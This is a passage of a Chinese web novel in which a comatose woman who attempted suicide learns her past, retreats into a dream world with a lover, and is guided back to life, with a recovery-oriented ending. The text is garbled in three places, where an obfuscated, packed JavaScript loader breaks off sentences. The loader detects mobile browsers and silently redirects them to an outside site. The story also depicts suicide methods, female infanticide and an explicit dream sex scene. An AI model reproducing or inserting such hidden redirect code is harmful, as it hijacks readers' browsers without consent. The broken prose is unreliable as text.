我惊惶地问，什么？!你是说……你是王罙？!你的名字不是许锺琛吗？你怎么也死了？啊对你是缉毒牺牲的!那你也来到了很多年前吗？这都是怎么回事？! 当我说出他全名的那一刻，我想到琛字拆开来，不就是王罙吗？! 果然，许锺琛微微颔首地承认道，他是王罙，王罙并不是他的真名，而是他的外号，他上学的时候有时跟老师对着干，就把作业和试卷上的名字写成王罙，别人自此都喜欢叫他王罙。 许锺琛让我不要着急地问他那么多问题，他会慢慢讲完这一切。紧跟着他说的一切满足了我所有好奇和未知的地方，似乎他早已提前知道我内心的想法一样，他应该也看过我的生平，或者说他接触过从前的我，也是未来的我。 许锺琛原以为我知道他的大名，没想到我只知道他叫王罙的外号。 王罙从小学开始就偷听到菲比是孤儿了，后来我们在中学相见，他故意没戳穿，只与我保持着距离相处，想给我一份空间和尊严，既然我不愿意别人知道我是孤儿的话，他自然替我一起保密。 他回想着往事，微笑起来问我，记得他在食堂问我怀表里的警察是不是我的爸爸吗？ 我无措地点了点头，在这时突然想起他和我怀表里的警察叔叔都姓许!那么他们的关系不言而喻。 许锺琛便讲道，我怀表里的警察正是他的亲生父亲，他的父亲做警察抓歹徒的时候牺牲了。他在食堂那一问，就是有些替父亲的感动不值几秒，毕竟父亲很感动于我总是叫他爸爸，而王罙觉得我叫谁都是爸爸和妈妈，但过后他又非常心疼我，他觉得我一定是特别想要一对父母，才总是那么叫别人。对了，他形容我小时候吃饭的样子像他养过的忠犬，那条忠犬后来去做警犬了。 许锺琛的爸爸在牺牲之前确实想领养我，我也明白过来了，许爸爸牺牲以后就没能领养我。而许锺琛做了孤儿后，他就被亲戚收养了，他们对他的教育方式是放养类型，没怎么管过他，不过他的表妹林月欣很同情他，他但凡有什么需要帮助的地方，表妹二话不说能帮就尽量帮忙。 所以我课桌上的奶茶和零食是许锺琛求助表妹帮他送给我的东西。他妹妹也看见我上学的时候脖子上戴有一条怀表了，这块怀表和许锺琛那块怀表很像，这也是他能认出我的原因，他当时差点把爸爸想领养我的事跟表妹说了，理性下来想到我肯定不喜欢别人知道我的身份，他就找了其他借口忽悠表妹说，怀表是他悄悄送给我的东西。林月欣请我吃东西的钱，也是许锺琛自己赚来给她的，算是请我们一起吃东西。 包括我人生中受到的第一份情书，是许锺琛交给表妹秘密放到我课桌里的，他既然已经答应长大后的大菲比不能去打扰上学的菲比，那么他就表白一次再远离，起码不留遗憾。他也安排表妹在门外偷看我收到情书以后是什么心情，表妹那次在厕所被我撞到的时候，还帮表哥打探消息，打听我有没有男朋友之类的事。 许锺琛之所以开始喜欢上了我，是从他慢慢注意到我是孤儿开始，刚开始他对于我只是比较同情，拜托父亲把他攒的糖果都送给了我……后来他的父母都去世以后，他也成了孤儿，上了中学的他愈发注意起了我，他从父亲那里知道我的全名，知道我的好些事情，一直在背后默默地关注我，由于同病相怜地投入关注我开始，他逐渐对我产生了不一样的感情，最后在我拦刀救下他的那一次，他彻底地喜欢上了我。 以前他不明白，我为什么不喜欢他。后来才知道因为他被传脚踏两条船的事，他以自己纯洁的灵魂保证，他上学的时候压根没谈过恋爱。完全是喜欢他的女生瞎造谣，那些兄弟也喜欢黑着他玩。那个喜欢他的女生得不到他，就想让别人也对他望而止步，她到处跟别人说他脚踏两条船把她甩了，还黑他人品差借钱不还，假使她不是女的，百口莫辩的他真想动手揍她。话说回来，谁叫他少年那时长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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我在魂梦里看见的那场大火，正是我的身世，魂梦只是挖掘出了我婴儿时期经历重要事件的初期记忆，帮助我回想起来，一生中唯一经历的那场大火。我死后那阵子灵魂穿到了很多年前，救下了婴儿时期的自己，而我的父母被那场大火烧死了。至于婴儿菲比后来被爷爷奶奶收留了没几天，重男轻女的爷爷就悄悄地给我裹上外套丢到了其他省的福利院。爷爷想要孙子，不想要孙女，怕在村里被其他人笑话。 最终平行世界里那个爷爷的另个光棍儿子也去世了，也就是无后，他们老到快死的阶段，才想把唯一的孙女找回去，认祖归宗。结果败露了当年弃婴之事，而平行世界的菲比不接受和解并起诉了爷爷，由于他年纪太大加上证据不足，爷爷还是无罪释放了。 据说，我爷爷老家的村子那里非常封建，人们重男轻女，村里还有杀害女婴的事情。村子里不少老人在多年前杀过自家女婴，他们就像杀鸡鸭似的毫不手软，这些杀人凶手如今仍然正大光明地晃荡在村里，偶尔还问别的母亲要不要处理年幼的女儿，他们可以帮忙。我的父亲不愿意和村里人一起迫害自己的女儿，不想自己的孩子生长在这样危险的愚昧环境里，他太明白无法改变村里人思想的郁闷感，他就跟妻子早早搬出去了，彻底地离开了这个千年以来一直可怕扭曲的村子。 爷爷为此很生气，扬言要弄死我。 父母死后应该是看到小菲比没有被害，甚至安全地被送到了福利院去，才放心地去了中转站。 故此我之前在其他魂梦里老是梦见一个可恶的老头，那大概是抛弃我的爷爷吧。 24. 孤岛 许锺琛害怕我的灵魂受到刺激烟消云散，怕我不能再苏醒，因而他为我引路的期间，暂时想隐瞒我的身世，可惜他抵不过我的决心。 虽然我的父母没有抛弃我，但是他们是被一场大火的灾难活活烧死的，这多么的痛苦和可怖，我接受不了这个事实，我也接受不了那个恶爷爷抛弃了我…… 我终于得知这些不堪的真相，灵魂困得不行，变得昏昏欲睡，眼睛都睁不开了，整个灵魂黏黏糊糊，最后彻底地陷入了沉睡之中，我昏睡了很久，进入了自己塑造的甜蜜梦境里。我说过，我的梦境不是恐怖的，如果我能控制的话。 并且我禁止其他灵魂来到我孤独的梦境岛。许锺琛最多在外面一直叫我的名字，试图唤醒我，可我沉浸在我的梦境岛里，充耳未闻。 我心里有座荒无人烟的小岛，那座孤岛寂静地永远矗立在那里。 我在一个人迹罕至的孤岛上，海上来来往往的人走了一批又一批，他们也都寻自己的岛去了，我并不太过遗憾，每个人都会找到自己的岛，并且学会适应一个人生活，我是说，我们在精神上本该如此。 在我内心深处幻化出来的岛上，我拥有疼爱我的父母，他们并没有去世，也没有不等我就去了中转站，我幻想出来的父母个性开明温柔，我和温暖美好的妈妈爸爸生活在了一起。我被困在自己的灵魂之梦里过得很快乐和奇幻，长久下来又莫名觉得空虚和孤单，我在这个幻想世界里想有什么就有什么，只是这一切都是努力控梦制造出来的。 我也幻想出了一个男友，他竟然是少年王罙，我瞧了瞧他的样子太过年轻，他知道我的想法后，很快摇身一变，变成了二十多岁的许锺琛，为了区分，我把菲比岛上的男友称为阿琛。 阿琛一出现就给了我一个大大的拥抱，并且亲吻了我，而且是缠绵地深吻，他那么热情，我却感到不好意思，不太想和他过度亲热，因为我们没有一种真实的灵魂交流之感，我安排阿琛陪伴家里的父母，我先去布置我们的家园。 他答应了说，他会在家里等我的。 我生前一直很喜欢热带岛屿和海边的风景，所以我在梦境里居住的地方幻化出了四面环海的美丽岛屿。虽然我看到了王世光在岛上如何平复心情度日，以及读过鲁滨逊在岛上如何艰辛地生存，但是我的小岛和他们生存的岛屿都不一样，我借着梦境的自由度有各种各样的捷径，生活得宛如在天堂之上，心境也跟着浮躁起来了。 我可以变成古代的女皇，也可以成为现代的总统或者国王，亲自来制定规则。我建立了一个国家，我把现实里那些繁琐的法律全部改了。我制定的其中一项法律是以牙还牙，以眼还眼，我就是岛上的大法官，尤其主张对文明人用文明人的方式，对恶毒的罪犯一定用不文明的方式惩罚他们，我惩戒到坏人就不亦乐乎。 由于我生前习惯做清明梦，早就锻炼出来了控梦的能力，因而我在自己幻化出来的岛上，差不多想怎么样就怎么样。尽管也有梦境坍塌控制不了的时候，我得开始不由自主地逃跑，甚至在废墟里休息一段时间，或者被自动变化的梦境牵着鼻子走，等我自己重新攒足了精力后，便重造我的菲比梦境岛。 我想变成什么动物就变成什么动物，体验猎豹的奔跑，爬行动物的视角，鸟儿的飞翔，鱼类在水下的游玩…… 我那对在家里每天陪我一起玩乐的父母，可以有多种性格和职业选择如何教育我。我们有时温馨度日，有时吵架再和好……这让我体验到了拥有父母的多姿多彩的生活。 我和梦境里的阿琛也可以选择很多种模式谈恋爱，只是我最初突然变出男友的那会儿，不知道该怎么和他相处，在我的提醒下，我们之间客气得跟朋友一样。偶尔我喝醉了，借醉酒壮胆，才对阿琛主动地亲来亲去，可他始终不是真人，经常有些莫名其妙的行为，我难以投入产生过多的感情，我们最多的是肢体上的接触——拥抱和接吻。 有一天晚上，父母到床前来与我进行晚安告别以后，阿琛才锻炼出了培养感情的行为，他守在我的床边也给我讲了几个睡前故事，讲到灰姑娘的时候，他很有道理地说，王子爱的不是灰姑娘，他要的是水晶鞋的主人，谁能穿上水晶鞋，王子就爱谁，这才是没有主见的花心王子。 我还没有想过这个思路呢，也可能这是我的潜意识通过梦境表达出来了。我思考不同的童话故事时，阿琛慵懒地躺到了我的床边来，他把胳膊伸到了我的脖子下面，突然把我勾了过去，我们一下子亲密地面对面，呼吸的热浪喷在彼此的脸上，我才有了悸动的感觉。然后他低头慢慢地吻上了我的嘴巴，吻技熟练地伺候我，我被吻得昏昏欲睡，险些进入了梦中梦，他一口咬醒了我，咬得我的脖子略酸痛。 在我的菲比梦境岛，能感受到人间的那种触感。 我也不服气地把阿琛按在床上，咬了他一口，我咬的是他的嘴巴，他自然而然地与我继续吻了起来，吻到最后我们不知不觉地脱了衣服，他又将我按躺在了床上说，他还是习惯传统的姿势。 我脸都通红了，伸出双手推着他的胸膛，赧然地表达，这不好吧，进展也太快了。虽然是梦，但我不想这么早做春梦。 阿琛深情脉脉地俯视着我，嗓音温柔磁性地说，菲比，我好想你，也想你的身子…… 然后他就把我乱吻一通，由上到下，吻得我意乱情迷，我俩磨磨蹭蹭做上了春梦，他好像对我的身体很熟悉，知道怎么伺候我，知道哪里能让我快乐，他的技术熟练过头，我的第一次竟然在梦中舒畅无比，让我有一种彼此是老夫老妻的既视感。我们汗流浃背地歇息下来，他依然紧紧地搂着我，恨不得浑身都贴在我的身上。 我们入睡之前，他的鼻子轻柔地蹭了蹭我的鼻子说，菲比，我爱你，前世今生都爱你。 我心满意足地抱住梦里的情人睡了下去，而且是手脚并用地夹住他。半夜里，我隐约听到几声爸爸和妈妈，自己睡眼惺忪地醒来，只见阿琛满额的汗水，他挣扎在梦中梦里，不断地沙哑喊着父母的名字。 我没想到梦境岛上的阿琛也会做梦，旋即觉得古怪，便探入了他的梦境里查看。阿琛梦见了他爸爸做警察牺牲的时刻，还梦见重度抑郁症的妈妈自杀前的状态，前几天她还笑颜如花地与儿子相处，但她保持的笑容里有抽搐的痛苦扭曲之色，最后一天她笑得比哭还难看，身影单薄的女人坐在窗户上，外面是漆黑的夜，那瘦瘦的双脚荡在了空中，她头都不回地想往下跳…… 阿琛从房间里闯入客厅，拼命地叫喊妈妈、妈妈!他企图用母子之情唤醒她，可她还是在那瞬间跳楼自杀了，晚些发现情况的他永远也跑不过房间到客厅那短短的距离，他泪流满面地扑通跪倒在了地上，痛彻心扉地喊着妈妈…… 梦中情人也魇在了梦境里。我动手拍了拍他的脸，大声在他的耳边喊道：“阿琛……阿琛……你醒醒啊……你醒醒啊……我是菲比……” 阿琛浑浑噩噩地睁眼，那张沧桑抑郁的脸上挂着泪痕，他看见我后似乎清醒了一些，骤然使劲儿地抱住我，并紧张地抚摸我的脑袋，颤声说道：“我不能再失去你了。” 我下意识回应着抱住他，耐心地宽慰道：“阿琛，我是菲比，我在呢，你不会失去我的，我们可以一起沉沦在我的天堂里，最后一起消失……” 我沉溺于我的菲比梦境岛，认为就算最后一切消逝也是值得的。不过真正的许锺琛不再借阿琛隐藏身份了，他捧住我的脸颊，摇摇头否定道：“不行的，你还没有死呢，你必须得出去，你得从沉睡中苏醒……我不是你幻想出来的男友阿琛，不过我很高兴你的幻想对象是我，这证明你的心里早早就有了我。” “你是许锺琛？你什么时候进来的呢？我怎么没有感应到？!”我瞬间坐了起来，满脑子都是我们睡前互动的画面，不禁捂住了表情复杂的脸，“我没死是什么意思？” 我又以为这是我的潜意识在提醒自己，可是我不想管，劝阿琛别再误导我了，梦里的人还想迷惑我吗？ 无奈的许锺琛挥手把之前的幻想阿琛变了出来，我傻眼了，左看看右看看，对比他们的模样，其实我能一眼分辨出来谁是真正的许锺琛，有感情的他和梦里空洞的他是不一样的，就算他们的外表一模一样。 我却嘴硬道：“你们又不是同一个人，他长得跟你不是很像啊。” 许锺琛调侃道：“我们确实不是同一个人，可是怎么不一样？我和你的阿琛不是长得一模一样吗？” 我掩耳盗铃地说：“你们的性格不一样，他多听我的话呢，我让他跟我客气点，他就客气点，哪像你今晚……” 我的脸越说越红，许锺琛似乎很乐于见到我脸红的样子，他瞅了瞅盗版阿琛似笑非笑地说，他觉得倒是挺像的，特别是对待女友的时候，亲亲抱抱举高高。 我尴尬地钻到被子里去，一个劲儿地踹许锺琛，命令他滚出我的梦境岛! 他捉住了我乱蹬的脚，赞叹我梦境岛里的世界很奇妙，他从来没有见过如此五光十色的浪漫梦境。他回想起自己少年时在偌大浩瀚的宇宙里，一个人孤零零地站着，直到路过看见了我的这一角，于是他走近我的星球做客，偷窥到了我的世界，他一发不可收拾地迷恋上了我。 这句话如他的情书一样动听。 许锺琛反反复复地告知我，现实里的你并没有死透，你的身体还在抢救，真实的你现在是昏迷的状态，只要你回去你就能回到刚自杀那会儿……你不能永远待在灵魂沉睡的梦境里，这样的梦境会把你的灵魂一起消耗殆尽，你会彻底消失的。你完全有机会选择真实的人生，有机会与年轻的阿琛再续前缘，你们有幸福快乐的日子…… “可是你会缉毒牺牲，我不想再去经历失去的痛苦……”我无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630366|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动于衷地说，“人生不就是体验吗？我只想和我梦里完美的妈妈和爸爸待在一起，这对我来说，不也是一种真实的体验吗？这里有陪伴我的家人，也有阿琛，我不想再回到以前那个残酷的世界里，我在那里总是孤零零的。” “是啊菲比，妈妈和爸爸都在这里，你怎么舍得走呢？你不要抛下我们好吗？你对我们来说是真实的，是唯一……”不知何时出现在门口的父母难过地附和着我，他们喋喋不休地说了很多话。 “瞎说，我不是说了吗？我是平行世界的阿琛，你回到属于你们的世界，那个阿琛不一定牺牲的，我会帮你们，你回去跟阿琛在一起好吗？我求你了……阿琛惦记了你那么多年，我们遵守约定也等了那么多年，等到二〇〇四年五月六日前来救你，为此我那一年做任务突然想到你的事，分心之时也差点牺牲，你却一心想死，你不是守护着自己很多年吗？也后悔自杀了吗？”许锺琛蹙眉，抬手挥掉了梦境父母的存在，生怕菲比岛上的虚幻之人迷惑我。 他深呼吸一口气：“如果你决定彻底地消失在你的梦境里，那么我也留下来陪你好了，如你所说，我们一起沉沦下去，一起消失……” 听到这里我怎么能继续无动于衷，我不能让真实的他跟着我烟消云散。我嘴上说，他自己进来是他的选择，与我无关。 然而我开始集中意念的力量，企图把许锺琛赶出我的梦境岛，可是他完整灵魂的力量比我强大很多倍，我的确不是完整的灵魂，我的另一部分灵魂还躺在现实里的病床上。 许锺琛双手一挥，在墙上变化出人间的画面，那是我躺在病床上插着很多管子的苍白模样，他逼迫我看看，我的心脏从出生开始就没有停止过跳动，一直辛劳地为我而跳动。我浑身上下的细胞都在想着拯救这副躯体，它们拼尽全力地救活我，而我生病的大脑竟然总想杀死自己。他也求我睁眼看看，那些前来探望我的亲朋好友，这里面有梅香院长，有福利院里的老师和妈妈们，最后竟然还有放假以后找过来的满秋!以及打探情况的林月欣。 我的眼睛湿润了，自己热泪盈眶，温热的泪水忽大忽小地滴落在整个梦境岛里，铺天盖地的海水即将淹没这个春暖花开的岛屿，天空逐渐阴云密布，周围狂风大作，外面有龙卷风和海啸合为一体，那是我潜意识里的激动情绪，我愧对他们，愧对自己，愧对阿琛。 可是我也需要一个台阶下。 我们顿时掉入了咸暖的海里，我化成了一条身姿婀娜的美人鱼歌唱，我告诉许锺琛，我们来玩一场游戏，如果他能在梦境里找到我三次，那么我就从梦境里醒来，灵魂跟随他回到属于我那部分时间的人间去。 第一轮，我转身间就化作了海水泡泡，轻松地躲开了许锺琛，他也化作了一条游得很快的旗鱼来找我。我很快变成沙丁鱼挤入了鱼群里，随它们游动，接着再变成飞鱼飞出了波光粼粼的水面，成为了一只海鸥飞旋在高空之中，挨挨挤挤的云层里透着光束下来，还有金粉一样的光芒，景色美不胜收，我欣赏着梦境岛上的风景，真是舍不得。 身后突然出现一只目光如炬的老鹰抓住了我，我们现出了原型，他抱着我在空中飞翔，一直赞赏我梦里的景色既真实又震撼。我说那是因为我生前没少看电影和纪录片。 第二轮他直接把我丢了下去，希望快点结束这种游戏，生怕我反悔了。我在岛上幻化出了很多糖果，上面的一切都是糖果做的，我也变成了糖果藏在糖果屋里，我藏在堆积如山的软糖中，一边吃旁边的糖果，一边隐藏自己。不过许锺琛还是发现了我，他直接把我拿起来，放进他的嘴里，我不得不现身，他笑了笑催促我赶紧开始第三轮。 真是没有意思，第三轮我随时变换周围的环境，有时我们在破败的旧建筑里，我伪装成一扇彩色玻璃窗，阳光透过我，五彩缤纷地照耀到了墙上。许锺琛推门进来的时候，建筑瞬间化为了幽深的树林，这里的树林一片暗蓝，犹如托利奇卡记忆里的赫鲁晓夫楼外那般深蓝。 许锺琛变成了一只轻盈的飞鸟寻找我，能上能下，彼此你追我赶，我和他翻来覆去地玩，不停地逗着他，其实我也舍不得这位天使阿琛，只想为我们留下更多的回忆。 奇怪，不论我变成什么，他总是能轻而易举地找到我，然后呼唤我一声菲比。他说因为他不会忘记我身上的气味，生前，他很爱闻我身上的香味，那是一种生理性的喜欢。 说完，许锺琛从身后拥抱住了我，侧头亲吻我的脸颊和嘴巴，落下密密麻麻的吻。 可我有些气恼，瞬间把他变成了其他动物，甚至把他变成一头猪，命令他以其他的形状继续找我，我们再玩几局好了。 直到下一次他抓住我再也不肯放开了，我们同时感觉到我的灵魂似乎随着梦境岛快要消逝了，在这最后的时间里，我才任由他把我抓出去，我沉睡的灵魂终于清醒了过来。 25. 万物苏醒 许锺琛表示，他从天堂下来做了一百件好事，才被派下来照顾这个时期的我，引我回到人间，但是他也非常想与我全心全意地相处最后一段时间，他舍不得我很早离去，不过该到放手时他也不会耽搁我。 他还对我说，在时间的流逝下，即使你此时与某些事过不去，后来它还是会变成过去。我们放不放过自己又如何，吸取着教训继续开始吧，可回头看看过去，但别忘了得往前走。 然后我想出了一个既能让我和他相处久一点的方式，又能完成我最后一件自救的心愿。 我明确地说，我想再救自己一次，不希望完全靠别人来救，我也想要靠自己回到人间，可以吗？ 许锺琛上报情况，他与天堂上面沟通了一下我的心愿，使我能向时间天使申请做任务换来机会。他们说，我的灵魂如果做满了一百件好事以后，帮忙抚慰那些不同的灵魂，我就可以完成这个心愿，令我的灵魂回到自杀的时候帮助自己。而且我之前已经帮过的那些灵魂，都已经算在了任务里。 我和许锺琛相处了很久，我也舍不得他了，并以为我那个世界里年轻的许锺琛和现在老去沉稳的他应该不同，他宽慰我，他们还是一样的，只是需要我带年轻的他去共同经历，由我去引导一个崭新的他，不好吗？他现在的灵魂都已经是老大叔了，之前勾引了年轻的我，他心里还有点过意不去，想了想反正是自己的老婆，也没什么。 许锺琛还带我回到了他的家里，我终于看到了照片墙上那个女人的模样，她当真是我，只不过她比我圆润一点，她白里透红的脸上少了些忧愁，在拍照时露出了真心实意的笑容，看起来是幸福的。我和天使许锺琛每天做完任务，就回到这个家里生活，他说我们就跟生前一样恩爱，真好啊。他还能享受到与年轻的我相处，让他魂飞魄散也值得。 我捂住了大叔阿琛的嘴，不许他再说出这样的话。我总是想起他也是牺牲的警察，就已经开始提前难过了，我没办法接受失去爱人的风险。 不过，如今的我不管未来前景如何，都想要勇敢地踏出那一步去往前经历，踏踏实实地过完我那一份人生。我决定，我要拯救二十出头的自己，也要在未来再次救下我的王罙，奔向我俩白头偕老的目标。 当我完成一百件好事以后，老去的许锺琛向我表白说：“菲比，我爱你，从以前到现在都爱你，除了妈妈，你是我这辈子唯一爱过的女人。我年轻的时候当面总说不出口这句话，死了以后才鼓起勇气敢对你说，真是迟了。” 我心满意足地说：“阿琛，我也喜欢上了你，只不过我对你的感情还没有到达爱，我现在回到人间去爱你。不过我可以提前跟你说一声，我爱你，你的灵魂要存在久久的，请等待老年的那个我前来爱你。” “好啊老婆，我会等你的，我一定会接到你，你老了以后别担心，记得按时吃饭，把自己的日子过好，别又想着提前结束生命，在人间过完属于你的日子，迟早你会与我再见面的。”许锺琛与我挥了挥手，伤感地注视着我。 我们目不转睛地看着彼此，直到我们的灵魂渐渐消失在彼此的眼中，那熟悉的强烈白光闪过之后，我的灵魂穿回了我成年后住的租房附近，我在旁边看到过去的那个我心如死灰地自杀，可我的意念力量却无法阻止她自杀，我有些慌了，旋即安抚自己冷静下来，再想想别的办法。 我想到了独居的房东太太，马上跑到老太太门前去敲门，里面没有反应，我穿墙进去一看，老太太放着电视躺在摇摇椅上睡着了，正好方便我入梦。我在梦里变成陌路人也敲了敲房东太太的门，她打开门问我什么事？ 我焦急地请她快去租房看看!你的租客自杀了! 在我的捣乱下，现实里的房东太太一个激灵被吓醒了，醒来后的老人家想起那个古怪的梦境，碎碎念几句，也担心地跑去租房查看情况敲了敲门，老人家敲了很久里面都没有反应，她就连忙搜出备用钥匙开门。 直到惊叫不停的房东太太捂住口鼻打完救护车的电话，并灭掉了铁盆里的炭火，还开窗透气，我才放心了。 在我被时间的白光带走之前，年轻许锺琛那边派来的警察同事也来了。 我被这阵眩晕的强光带回到了抢救后的躯体里，灵魂强行塞回了身体内，我的意识就不清不楚了，离开身体太久的灵魂与躯体磨合了好长时间，我陷入了无尽的黑暗和虚无缥缈之中，最终彻底地掌控不了意识，犹如没有做梦似的沉睡了下去。 我在病房里浑身酸痛地睁眼那一刻，四肢颤抖了一下，我虚起眼睛看见雪白的天花板，又左右转头微微看向别处，我刚开始迷茫到不知道自己是谁，身在何处……等我逐渐想起大部分涌来的混乱记忆，我在回忆中忽快忽慢地走马观花，耳边仿佛响起滴答滴答的钟表声，时间好似在往前和往后随时矛盾地调整，生前的记忆和做灵魂时的记忆不停地交织，我的脑子一团浆糊过后，正常的记忆顺序终于慢慢地清晰了起来。 当我回想所有记忆的过程中，不知不觉已泪流满面，我一面觉得那些记忆是不是我做了一个很长的梦境呢？一面又下意识觉得，原来从小到大一直保护我的就是自己，这样的自己，又怎能自杀？我能长大如此，真是感谢那些帮助我的人们和我自己，对此我下定决心，从今以后不管发生什么都要好好对待自己，积极面对生活，再也不会因为别的困难就第一时间想到自杀。 我告诉自己：我们既然躲避不了某些事，中了命运莫名要你遭受的事情，你受不了有各种情绪，是非常正常的。我以后能不吃苦就不吃苦，吃苦无意义，苦只会流向更能吃苦的人，有意义的是你的生命体验，所以你要放宽心对自己好点，也要正视自己当下的任何情绪，不要总是去回避困难，将大小事都压抑在心里，请及时地疏通它……有时候我们什么都不做能呼吸也是一种幸福，好死不如赖活着，不是吗？ 如果我的灵魂当真游荡在多年前很久，我的真实岁数大概有三十多，我的灵魂是变老了，可我又拥有了年轻的身体，用成熟的心态去对待年轻的自己，真好啊。 在我苏醒的时候其实离自杀那件事才过去没多久，而目前守候在我病床旁边趴着睡觉的女人是满秋，她即使睡着了，也温暖地握着我的手，不曾松开我。仿佛她也牵引着我的灵魂，把我从外面拉了回来一样。 我用另一只手去轻轻地抚摸她的发丝和那半张脸，她的发质很光泽亮丽，及肩的头发乌黑浓密，看起来营养不错。她如今的皮肤是小麦色的，也很健康。我的手指在昔日旧友身上小心翼翼地触摸着，既缓解了我对她的思念之情，也没有扰醒她。如果不是许锺琛强迫我看到人间守护在病床边的人们，我大概一时之间认不出成年后的满秋了，她知性中透着妩媚，不像小时候有股野性美。不过她身上也有令我熟悉的地方，我多看几眼应该能认出她。 在病床前照顾我的满秋身影疲惫辛苦，我默默地等她睡饱以后再叙旧，也可以缓缓我刚醒的身体，我整个软绵绵的身体异常难受，四肢无力没有什么，反而是腹痛和胃部有恶心感，咽喉也有不适的疼痛感。这大概是吃药和洗胃导致的。 可我忍不住呕了几下，惊醒了满秋，我们面面相觑，她连忙拿起一个空袋子问我想吐吗？你感觉怎么样？你真的醒了？你好多了吗？哦忘了说我是满秋，菲比，你还记得我吗？认得出我吗？ 我干呕了几下没吐出什么东西来，声音微弱地依次回答道：“我当然记得你，你是我在福利院最好的朋友，我怎么会忘呢？我永远不会忘记你的，我多看几眼就认出了你是满秋。我感觉还可以，身体好多了，真是万分感谢你出现在这里照顾我，我无颜面对你。你……你怎么在这个时候来找我？让你看到这样的我，真是很抱歉……我……” “嘘……是我不够周到……你才刚醒我怎么问你这么多问题，你应该多多休息，少说话。你不用感到抱歉，我倒是觉得抱歉，此前一直忙碌于学业，忽略了你这么多年，也许我早点抽空来看看你，你就不会……”满秋眼睛含泪地握住了我的双手。 我们抱在一起抽抽搭搭地哭了一会儿，期间，我着急地宽慰她，完全不关她的事，这只是我自己的原因，请她不要自责，我们这么多年没见就别再指责自己了。当我醒来那一刻，我的心病也好了，死过一遭反而看透了很多事情，现在只想珍惜生命，珍惜这些平凡的日子。 满秋不太相信我已经走了出来，她开始为我做心理辅导，喋喋不休地做了一半，她才突然想起来要找医生来看看我的情况，就一边按床头呼叫铃通知护士，一边跑了出去喊人。医生和护士陆陆续续进来帮我检查到身体无大碍后，满秋舒了一口气放心了，她也高兴地打电话通知福利院里的妈妈们。 满秋很心疼我，她捧住我的脸颊亲了一口，叫我尽管使唤她，我倒是不太习惯她突然亲我，又觉得好像本该如此，她知道我喜欢熟人的拥抱和亲吻，我们聊了一会儿也从有些陌生中变回了熟悉的感觉，开始习惯了。 各自叙旧过后，满秋得知我高考没考好，就没有去上野鸡大学，早早出去打了几年工又后悔了。 而我得知满秋还在上大学，她也是在这个暑假因为各种压力不开心，就想回来看看我，所以她非常理解我的心情，其实每个人面对自己的各种事情，都会有这种灰心丧气的时候……她来看我，首先找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我想起未来的老公，连忙问：“那林月欣有没有说许锺琛怎么样了呢？他住在哪家医院？!” “哟，你和那个警察有什么关系呢？你也这么紧张他，看来你俩情投意合呀……不对啊，林月欣八卦说他中学暗恋你，可惜没有来追你，你好像跟他没什么交集……不过你放心，他已经抢救回来了，从重症监护室转到了普通病房，他就住在咱们县城里这家最好的医院里，在另一个病房离你这还算近，你先把自己修养好了再去看他吧……”满秋调侃着分析道。 日久见人心，许锺琛确实是一个说到做到的好人，连梦里的承诺都誓死遵守，他是一个可值得托付终身的伴侣。 为了进一步证实我的灵魂保护了童年的自己，我也问了问满秋：“你记得我小时候说过，我幻想出来一个女人陪着我吗？” 她点点头说：“记得，怎么了？” 我在想，为什么以前的我没有这些记忆，是我记性差吗？许锺琛和满秋都记得的话，说明那都是真的。 我决定告诉满秋这个秘密：“其实那个人是我自己，我昏迷的这段时间，灵魂回到了很多年前，我一直在保护自己。” 满秋笑了笑说，看来我做了一个解开心结的美梦。我知道她在当我刚醒说胡话。我再三告诉她是真的，她不是很相信，我理解她，她也尽量理解我。 这时我还想念许锺琛，我们经历了同样的秘密，有一种战友的感觉。他相信那个梦境，那么也一定会相信现在的我。 我便问满秋，我寄给她的一幅画记得吗？ 她记得，问我怎么了？ 我说，你还有这幅画吗？ 她准备回家后再去找找，有关于我的东西，她放在了一个盒子里。我请她回忆我所画的守护神的样子，是不是跟我现在的身影很像？ 她端详着我说，是很眼熟。 我们有一搭没一搭地聊了会儿，梅香院长带着妈妈们来探望我了，门卫爷爷也来了。他们提了很多东西来慰问我，有的人心疼我，有的人责备我想不开，有的人说我现在没事就好。 梅香院长与我谈了几句，她并没有像我小时候做错事那样批评我，而是开口说了一句：菲比啊，你在外面过得不习惯的话，回家里来帮忙做事也是好的。 我就泪失禁了，有那么多人关心我，我的眼泪像破了闸门的水，泪水不断地从眼眶里涌了出来。我哭了以后，他们便围上来温暖地宽慰我，分别给予我踏实的拥抱。 他们还关心我在外面过得怎么样？是不是很困难？缺钱吗？太缺钱的话回来找长辈要点零花钱也不是不可以，等他们老了，我以后记得去看看他们就好。 这一刻，我内心感受到了生活的美妙，真好啊。 26.苍天 我还没有出院，就忍不住去其他病房探望许锺琛，他毕竟是为了想救我，才在忙碌的工作中分心出事。他住的也是双人间的病房，旁边的床位没有人，同单间病房差不多。 病房里只有他的大学生表妹林月欣，林月欣的父母都在工作，只有休息日和下班后才过来换班照顾外甥。林月欣见我醒来以后还跑过来看她的表哥，她手舞足蹈的特别兴奋，像是牵线的月老终于等到了她亲自牵出来的情侣。 